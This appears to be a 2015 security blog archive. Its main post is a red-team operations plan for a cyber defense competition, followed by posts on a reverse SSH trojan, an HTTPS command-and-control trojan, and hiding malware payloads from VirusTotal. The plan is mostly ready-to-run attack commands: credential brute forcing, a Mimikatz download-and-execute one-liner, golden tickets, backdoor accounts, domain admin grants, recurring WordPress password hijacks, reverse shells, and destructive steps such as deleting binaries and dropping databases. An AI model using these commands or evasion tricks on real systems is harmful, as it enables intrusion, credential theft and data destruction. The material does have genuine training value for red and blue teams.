Monday, March 23, 2015

Red Teaming at PRCCDC 2015

I recently got to red team for PRCCDC 2015. Organizationally, it was a very interesting red team setup. As with most CCDC red team arrangements, the teams are to execute similar tactics within each unit through 'attack phases'. With PRCCDC, we took this one step further and attempted to launch each action within a phase in lockstep, having each team execute techniques at relatively the same time against their respective teams. This had some notable benefits and also some notable downsides. One of the benefits was the great documentation it produced, allowing us to quickly share techniques and make sure everyone was capable of executing them. But the downsides were poor execution and tracking via the team lead as well as issuing unnecessary attacks effectively wasting the entire red teams bandwidth. Despite all of that, I'm going to include the general red team operations plan below, along with some screenshots pulled from our red team debrief. I hope this helps other CCDC red teams in the future with a general operations plan, as well as aiding blue teams in preparing against these attacks. One of the biggest questions I always hear regarding CCDC is, what were your initial vectors? This year I didn't notice any memory corruption vulns that lead to remote code execution, rather almost all of our initial vectors of access were gained through default credentials, then it was all persistence from there, which really makes those first 5 minutes critical. That means planning and preparing for such events are crucial! If your going to red team at a CCDC, I heavily suggest reviewing this operations plan.

Operations Plan:

Phase 1; Initial Access:

Enumerate ports/services:
Use “-oA name” in nmap to save scan data
nmap -sn -n [targets]
nmap -sP -PI -T4 -v7 [targets]
nmap -sV -F [targets]

(run these second)
nmap -A [targets]
nmap -p- -sV -O -T4 -v7 -sC [targets]
(open SMB shares) nmap --script=smb-enum-shares -p445 [targets]
(open NFS) nmap -p 111,2049 --script nfs-ls,nfs-showmount [targets]
(optional) netscan
(optional) Armitage/Cobalt Strike: Hosts -> Nmap Scan -> nmap quick scan with OS detection

Check for default credentials:
Telnet/SSH Brute
(Telnet) nmap -p 23 --script telnet-brute [targets]
hydra -h [target]  -u [username]  -P /path/to/wordlist -M [telnet|ssh]

Default SNMPgets check (if SNMP is found with previous scans)
nmap -sU -p161 --script snmp-brute [targets]
(optional) snmpwalk

Responder + smbrelayx
Domain Controller Anonymous Enumeration
metasploit smb_enumusers
metasploit smb_login module
Local Administrator Builtin 500 & Domain User Account Brute Forcing
hydra -h [target]  -u [username]  -P /path/to/wordlist -M smbnt

Anonymous FTP
nmap -sC -sV -p21 [targets]

VNC Brute
nmap --script=vnc-brute -p5800,5900

Web Interface Review
burp pro (free if you don't have a license)

Ongoing nmap scan w/ ndiff of output

Drop payloads and privilege escalate:

Unicorn powershell payloads
Veil payloads

Unquoted service path escalation (PowerUp)

Intel gathering via PowerView

psexec_loggedin_users to determine privileged accounts logged in

meterpreter keyloging

Wireshark + PCredz

Phase 2; Persistence Ideas:

Ssh keys that we all have and can install on target machines.  Then the meta team can access via ssh keys to the targets

Change nobody in /etc/passwd from nologin to /bin/bash and issue: passwd nobody
Add sudoers
Disable firewall
Script to do the above in Debian/Ubuntu
Add VNC Server
Teamviewer MSI
add backdoor alias for common commands (such as sudo keylog)
netcat local listeners and reverse connects
reverse shell on startup (update-rc.d blah defaults for linux, scheduled tasks for windows)

msf persistence (exploit/windows/local/persistence, run persistence)

powershell "IEX (New-Object Net.WebClient).DownloadString(''); Invoke-Mimikatz -DumpCreds"

Mimikatz on DC -
misc::skeleton - On DC
misc::memssp - All machines

Golden ticket:
Note krbtgt hash - this will likely be duplicated across all teams’ networks, so one krbtgt hash == DA on all networks

Create backdoors:

Add new user: net user /add admin admin
Add user as local admin: net localgroup Administrators /add admin

Sticky keys persistence(Shift x 5)/utilman(windows + U)/Display (Windows + P):

Kill Windows Updates:

Screw with users/groups (some of these require domain admin privs)
net localgroup administrators Everyone /add
net localgroup administrators Everyone /add /domain
net localgroup administrators  "Domain Users" /add
net localgroup administrators  "Domain Users" /add /domain

net localgroup "Remote Desktop Users" Everyone /add
net localgroup "Remote Desktop Users" Everyone /add /domain
net localgroup "Remote Desktop Users" "Domain Users" /add
net localgroup "Remote Desktop Users" "Domain Users" /add /domain

net user guest /active:yes
net user guest /active:yes /domain
net user guest Qwerty12345
net user guest Qwerty12345 /domain

net localgroup  administrators guest /add
net localgroup  administrators guest /add /domain
net group "Enterprise Admins" guest /add /domain
net group "Domain Admins" guest /add /domain

net localgroup "Server Operators" Everyone /add
net localgroup "Server Operators" Everyone /add /domain
net localgroup "Server Operators" "Domain Users" /add
net localgroup "Server Operators" "Domain Users" /add /domain

Persistence on a vyatta router:

Wordpress persistence:

Login to their mysql (username 'monty' & password 'some_pass'):
use db;
CREATE EVENT myEvent ON SCHEDULE at current_timestamp + INTERVAL 300 second DO update wp_users set user_pass='$P$BMiCbLbCxfCSQDNKy21EIxlFeLVcOm0' where ID='1';

changes the admin pass to martian every 300 seconds:
SET GLOBAL event_scheduler = ON;
CREATE EVENT myEvent1 ON SCHEDULE EVERY 300 second DO CREATE USER 'monty'@'%' IDENTIFIED BY 'somepass';
CREATE EVENT myEvent3 ON SCHEDULE EVERY 300 second DO update wp_users set user_pass='$P$BMiCbLbCxfCSQDNKy21EIxlFeLVcOm0' where ID='1';

Web Shells:

Use Domain Admin access to hashdump the Domain Controller

psexec_command on subnets w/ found creds, or manually

Phase 3; Troll and Destroy:

Drop or modify databases/web configs

MS14-068 with (impacket)

Alias common commands (ls, cd, echo, vi, vim, nano) to do nothing or unexpected behavior

Remove common binaries such as chattr, netstat, ps

Replace hosts file (meterpreter> run hostedit -l /path/to/fakednsentries.txt)

Randomly bring down services: net stop [service_name]

Hide taskbar & files

Lock out domain accounts (smb_login + net accounts /domain output)

BieberFever kiosk mode:

Continuous reboots:

These techniques were largely successful, the following is a collection of screenshots from the red team debrief, which shows our overall success. I'm taken care to anonymize the teams and people involved. Enjoy the screen shots below! More to come soon!

We started with scanning our respective teams, using shared Cobalt Strike team servers. From here we gained access largely using default creds as is typical in CCDC and the real world.

Drawing network diagrams can really help, as the one below helped us figure out the network topology.

Next came our various persistence methods, this was everything mentioned above but I managed to grab some good screenshots of a webshell, domain admin, and making a golden ticket.

We finished up with some quality trolling, as no CCDC would complete without trolling.

Thats it! PRCCDC was a blast. I've added some availability scores as well below. Till next time!

Saturday, March 21, 2015

Reverse SSH Trojan

In the spirit of command and control protocols, I have to mention the classic SSH, or Secure Shell. This has always been a great way to administer servers, giving you trusted crypto with an easy to use interface. The tool includes many rich features such as file transfer and reverse proxy functionality. It even has native capabilities for this, a reverse ssh shell:

This all led me to an infosec institute guide on recreating your own reverse ssh shell in python. This seemed like a good idea to me, because we could build it down and then quickly use the SSH covert channel on on Windows. The result was fun reverse SSH shell in python. Enjoy!

Thursday, March 12, 2015

HTTPS Command and Control

With my recent exploration in covert channels, one common and simple channel keeps reoccurring: HTTP/S. This is a great covert channel because of its versatility: you can use legitimate content servers, you can easily encrypt the entire channel, use techniques like certificate pinning to authenticate connections while still looking legitimate, or you can get out of a well filtered network through services such as corporate proxies. And a lot of malware uses HTTP/S for it's command and control (C2), such as the old comment crew, botnets, and even new targeted campaigns, so it's great for real world threat simulation.

I developed a proof of concept (POC) for testing detection of one off / unknown HTTPS C2 as well as to aide penetration testers in high security environments. The scenario this is designed for limited egress options, with an outbound https mitm proxy, such as Bluecoat proxies. This concept is also highly used in malware, such as Kurton from Mandiant's APT1 report which is proxy-aware malware and has a much higher chance of getting out of the network when compared to arbitrary TCP/UDP C2 protocols. Some malware will use full on REST api-like requests, while malware such as Murcy uses custom HTTP headers to transmit its commands. So as you can see, even within the channel of HTTP/S you have many options of where you want to place your command instructions. This is a fun project because there is so much room for creativity and customization. My POC remote access trojan (RAT) is in a stand-alone python script, so we can build it down to a native executable for spear phishing. The server is in nodejs, for exploring it's asynchronies / api capabilities as a web server and application language. All in all, I had a lot of fun messing with both the nodejs server and python request libraries! That said, this project is a continuous work in progress, so make sure to stop back for recent updates or you can even request features in the comments or on the github repo.

My code is freely available for those looking for a template or just to mess with a web c2 remote access trojan. However, if you are looking to write your own 'unknown' web based remote access trojan, I've included some really good programming guides using other platforms, such as C# and PHP (warning some strong language in those demos). Programming your own backdoors, exploits, and security tools is always a great idea, so if you don't know how to write one of these yourself go through some examples or ask me questions regarding my POC! Enjoy all :)

Friday, March 6, 2015

Book Review: "Psychology of Intelligence Analysis"

The 'Psychology of Intelligence Analysis' is a book freely available from the CIA's website. Published in 1999 by Richard J Heuer and the CIA, it's a short read of less than 200 pages and masterfully illustrates complex subjects, such as innate cognitive bias. The book does not pretend to be the definitive topic on intelligence analysis but rather promotes critical thinking, questioning our own conclusions, considering cognitive biases, and looking at uncertainty in a new light. Overall, the book is excellently written and applies to many subjects beyond intelligence gathering, extending itself to all manners of critical thinking. The Psychology of Intelligence Analysis is considered a core work regarding the mind set of an intel analyst and a must read for anyone interested in intel analysis. For that reason I recommend the book to information security analysts who find themselves investigating the human element of computer security. Overall, I give the book 8/10 stars for being free, short and highly thought provoking. This is the type of book that when you are done reading it you don't look at information the same way, but rather take a step back and consider how you are looking at said information in the first place. The book includes a forward by Jack Davis, where he highlights several of Heuer's key philosophies, which I have paraphrased below:

1) Establish an environment that promotes and rewards critical thinking.

2) Promote research on the mental processes involved in shaping analytical judgments. i.e., how do analysts reach judgments?

3) Foster development of tools to assist analysts in assessing incomplete information.

4) Commit to a uniform set of tradecraft standards. Make certain these standards are transparent and self descriptive.

5) Pay honor to "doubt and uncertainty". Encourage multiple working theories.

Like my typical book reviews, I'm now going to cover each chapter and give a breif summary so you may decide if reading the whole book is worth your time:

Chapter 1: Thinking about Thinking
This chapter sets the stage for the entire premises of the book, which is that we must understand and be critical of our own thought patterns that are leveraged in reaching the conclusions we make. That is, we must be self conscious and introspective about our processes of analysis.

Chapter 2: Perception: Why Can't We See What Is There To Be Seen?
This chapter really hammers home that everyone's perception is slanted, whether they want it to be or not. People tend to perceive what they are looking for. One of my favorite quotes from this chapter is: "New Information is assimilated into existing images". Which is to say rather then form new mental models about topics we associate them with mental models we are already familiar with.

Chapter 3: Memory: How Do We Remember What We Know?
This chapter details sensory memory, short term memory, and log term memory. Heuer discusses how as our memory transitions from one state to the next the loss of specific details, deemed unimportant, is the basis for our selective perception.

Chapter 4: Strategies for Analytical Judgment: Transcending the Limits of Incomplete Information
In this chapter Heuer discuses the mental models and approaches we use to arrive at our conclusions. He lays out 4 main strategies situational logic, applied theory, compared with historical data, and data immersion. Each strategy has it's own strengths and weaknesses, which Heuer expands upon in details, before suggesting the development of multiple hypothesis and strategies for choice among them.

Chapter 5: Do You Really Need More Information?
This is one of my favorite chapters because it illuminates some little known facts about how we use information. This chapter asserts that analysts actually make judgments based on only a few pieces of information, and while more information will not increases the accuracy of these judgments it does make the analyst more confident in their decision, which could have adverse effects.

Chapter 6: Keeping an Open Mind
This is another great chapter and a classic fallacy in many investigations. Often analysts will drop or exclude details to a case that they feel don't support their preconceived notions of what happened. Some strategies the book offers are dropping our assumptions and reanalyzing original data sets as if we are seeing them for the first time. The book also promotes multiple competing hypothesis, which should also help view the situation for different perspectives.

Chapter 7: Structuring Analytical Problems
This chapter offers strategies in helping analysts break down and understand problems. It's a good chapter if your looking to break down a complex mental model.

Chapter 8: Analysis of Competing Hypotheses
Analysis of Competing Hypotheses is an 8 step process by which an analyst can attempt to be unbiased in the decision making processes. The steps include: identify possible hypothesis, make a list of significant evidence and how it effects each hypothesis, create a matrix of hypothesis vs evidence, refine the matrix by removing unnecessary data or hypothesis, draw tentative conclusions, remove key evidence supporting those conclusions and see if they still stand, report on all possible hypothesis, and identify milestones for future analysis.

Chapter 9: What Are Cognitive Biases?
This chapter is an overview of cognitive biases, what they are, and how they play out in all of use a little differently.

Chapter 10: Biases in Evaluation in Evidence
This chapter discuses how our perception of information effects the weight we give that information in our cases. That is to say, if it's a first hand experience an analyst will be more likely to draw from that information in their analysis. This chapter also discuses thinking about missing key evidence as well as the confidence and relevancy of information.

Chapter 11: Biases in Perception of Cause and Effect
When making judgments, people often need a cause related to a rational and logical understanding of the situation. Rather than observing events as they are, often analysts will slip into the cognitive bias of assuming they are misunderstanding the situation or are missing key evidence over misunderstanding the cause. Similarly, analysts often look for a unified cause to many desperate events or plan an over-importance on the role of events they are involved in.

Chapter 12: Biases in Estimating Probabilities
This chapter really highlights our many cognitive biases regarding the probability of event based on similar events in our own lives. Similar biases include 'anchoring' or attaching oneself to a logical start of events and being unable to freely conceptualize different scenarios due to needing this logical starting point. Another cognitive bias from this chapter is the analysts desire to go with a familiar explanation when presented with a group of equally uncertain explanations.

Chapter 13: Hindsight Biases in Evaluation of Intelligence Reporting
I thought this chapter was really interesting. It tells how analysts will overestimate the accuracy of their own past judgments and how observers will tend to call such findings 'predictable'. This chapter attempts to outline the different perspectives of the people consuming intelligence reports and how they can put their own cognitive biases down to get the most out of reports.

Chapter 14: Improving Intelligence Analysis 
The final chapter gives analysts more of a road map than anything else. It instructs analysts to create through checklists (as to not skip any details due to their own cognitive biases), help define problems, instructions for collecting evidence, strategies for refining competing hypothesis, and even ongoing analysis. It also discuses approaches for management, including training, guidance, and exposing analysts to competing mindsets.

All in all, I thought this book was really enlightening. These are the kind of lessons and approaches to critical thinking that stick with you, things that you can apply to any problem you encounter, and an overall eye opening read! Until next time, enjoy the good reads :)

Tuesday, March 3, 2015

Avoiding VirusTotal URL Threat Tracking

When performing penetration testing, often times we need to host payloads / malware on Internet accessible web servers, whether it's for spear phishing or just having a trusted location to pull tools from. Sometimes, an overzealous SOC analyst will see your payload request come through and submit the full url to VirusTotal, triggering a bunch of URL reputation sites to start scanning your site for said payload / malware. First off, this is a bad idea from a SOC perspective because it will have a large impact on the attacker's logs (which they are likely watching if it's a targeted campaign) they will almost instantly know the SOC has been tipped off (and then if they are smart they will change up their tactics using this counter-intel). Further, it's bad for the penetration testers / malware authors as their payloads and c2 infrastructure are usually burned shortly thereafter by having their details spread through threat intel lists. The following is a simple web.config file for IIS servers that will give benign payloads (currently 404s) to VirusTotal and it's many sister URL reputation sites when scanned.  This can help keep the threat intel community from automatically circulating your campaign details for a bit as well as fool those junior analysts who just submit stuff to VirusTotal without understanding their specific scenario. Further, this config will allow most normal browser User-Agents, so it shouldn't prevent any real targets from accessing the payload, resulting in the best of both worlds.

As you can tell below, it works pretty well for avoiding a negative VirusTotal reputation score, which may keep your campaign alive that much longer!

After that, I thought it would be cool to serve up targeted payloads to only vulnerably operating system they could effect. This time, I decided to go with an Apache .htaccess file which would first default deny everything, then allow my exceptions. The exceptions in this case can be any user agent regex you want, which makes the combinations limitless. The code is as follows and is pretty useful for throwing URL scanners and analysts off your tracks while still serving your target market.

All in all, the above is some really simple stuff. But that said, these small proactive steps can really increase the longevity of your campaign.

Wednesday, February 18, 2015

Fun Web Hacking Challenges

Recently I found some online web application challenges that have been a lot of fun. The first one is hosted by Portcullis Security and involves several great / general web application vulnerabilities. Hosted at it's open to the public and is a good set of web app vulns for those looking to play around and learn. In essence it includes input validation, sql injection, local file inclusion, hash length extension and php object injection challenges. Ironically, the site is also vulnerable to such issues as session fixation and cross site scripting in the name field. I'm not going to release any write ups or solutions as Portcullis is still using this platform for evaluating candidates. That all said I highly recommend it for those looking for web application practice.

Speaking of cross site scripting, the next challenge site was released by Google to help promote XSS education and their bug bounty program. is a great primer on XSS as far as difficulty goes, giving appropriate hints and really educating the player along the way. If you need help there are write ups online, as the game has been out for while.

Finally, while not necessarily security related, one of my favorite web application games is also hackable. Wayward Beta is a free online game that runs entirely on client side html5 and javascript. The game is also available as a native executable that was built down from a node.js application. Wayward has a rich wiki, tons of mods, and a large reddit community. It's essentially a survival game and can get pretty difficult at times. By far the easiest way to mess with the game is start by viewing the source, then searching for a few functions quickly reveals some nice hacks. Simply issue the following commands in the javascript console.

Fix hunger: player.hunger = 100;
Fix thirst: player.thirst = 100;
Up a specific skill to 100: player.skillGain("tactics", 100, false);
Spawn a monster: spawnMonster("fireelemental", player.x + 1, player.y);

Now that sure makes things interesting :) Enjoy the games all!

Tuesday, February 17, 2015

Drive-by Download: Javascript, ActiveX, and WScript for Automatic Execution in IE on Windows

Lately there has been a rash of drive-by download attacks which use a really cool attack vector that can be easily reused for penetration testing and phishing. This code is taken from a recent campaign, propagating by way of a FedEx scam phish, but is a much older malware technique which was even used in some of the earlier crypto-locker campaigns. The code uses javascript to build an ActiveX object, which both downloads an executable and then uses a WScript shell to run the executable. By including the following javascript code in an XSS link or phishing email you can easily get code execution from an unwitting user using Internet Explorer on Windows. Enjoy!!